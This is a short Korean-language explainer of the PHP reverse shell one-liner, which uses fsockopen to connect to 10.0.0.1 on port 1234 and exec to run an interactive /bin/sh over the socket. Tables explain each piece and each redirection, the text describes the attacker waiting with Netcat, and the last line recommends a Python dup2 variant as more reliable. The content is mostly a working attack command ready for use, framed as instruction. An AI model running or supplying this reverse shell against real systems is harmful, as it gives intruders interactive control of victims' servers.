명령어:
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
| 요소 | 풀 네임 | 역할 및 설명 |
|---|---|---|
fsockopen | File System Socket Open | PHP에서 TCP 소켓 연결을 엽니다. 이 함수를 통해 대상 서버에서 공격자 리스너로 아웃바운드 연결을 시도합니다. |
$sock | Socket Variable | fsockopen으로 성공적으로 생성된 소켓 연결 핸들을 저장하는 PHP 변수입니다. 이 핸들은 운영체제 수준의 **파일 디스크립터(File Descriptor, FD)**에 연결됩니다. |
이 명령어는 대상 서버에서 실행되어 공격자에게 양방향 통신 채널을 제공합니다.
fsockopen("10.0.0.1",1234)가 실행되어 대상 서버에서 공격자 IP 주소(10.0.0.1)의 1234 포트로 TCP 연결을 시도합니다. (공격자는 이 포트에서 넷캣(Netcat) 등으로 대기 중이어야 합니다.)exec() 함수가 대화형 셸(/bin/sh -i)을 시작합니다.<&3 >&3 2>&3 구문이 실행되어 셸의 표준 입출력 흐름을 FD 3으로 변경합니다.| 리디렉션 명령어 | 기호 의미 | 역할 (FD 변경) | 최종 역할 |
|---|---|---|---|
< (입력) | 데이터를 받아오는 방향 | <&3: 셸의 **표준 입력 (FD 0)**을 소켓(FD 3)으로부터 받습니다. | 공격자의 명령을 셸이 수신합니다. |
> (출력) | 데이터를 내보내는 방향 | >&3: 셸의 **표준 출력 (FD 1)**을 소켓(FD 3)으로 보냅니다. | 명령 실행 결과를 공격자에게 전송합니다. |
2> (에러 출력) | 데이터를 내보내는 방향 | 2>&3: 셸의 **표준 에러 (FD 2)**를 소켓(FD 3)으로 보냅니다. | 에러 메시지를 공격자에게 전송합니다. |
os.dup2(s.fileno(), fd)처럼 소켓의 실제 FD 번호를 명시적으로 확인하여 리디렉션하는 방법이 더 안정적입니다.